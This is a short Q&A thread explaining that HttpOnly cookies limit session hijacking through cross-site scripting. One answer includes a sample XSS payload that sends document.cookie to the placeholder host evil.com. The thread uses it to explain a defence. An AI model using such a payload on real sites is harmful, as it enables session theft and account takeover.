What attacks are httpOnly cookies intended to prevent?

Question

I know that HttpOnly attribute restricts the cookie from being accessed by JavaScript etc. Is there any specific attacks regarding this issue? Can cookie theft and hijacking be counted as attacks towards this issue?

Answer 1

The HTTP-only flag is supposed to protect against session hijacking through cookie theft in case there is an XSS vulnerability. The simplest XSS attack would look like this:

http://victim.com/<script>location.href="evil.com?"+document.cookie</script>

By making a cookie unavailable to JavaScript attacks like the one above fails - she can not steal the session. She can still cause all sorts of mayhem though. All the requests she would have made on her own computer with the victims cookie had she stolen it, she can still do on the victims computer via the XSS vulnerability.

So the flag is a limited protection that makes the life of an attacker a little bit harder.

Answer 2

The httpOnly flag prevents javascript from accessing the values of cookies. It's intended to reduce the impact of cross-site scripting attacks, by preventing access to sensitive data, such as the session token. Relevant attacks would be the cookie theft, and session hijacking attacks which rely on values from the cookie.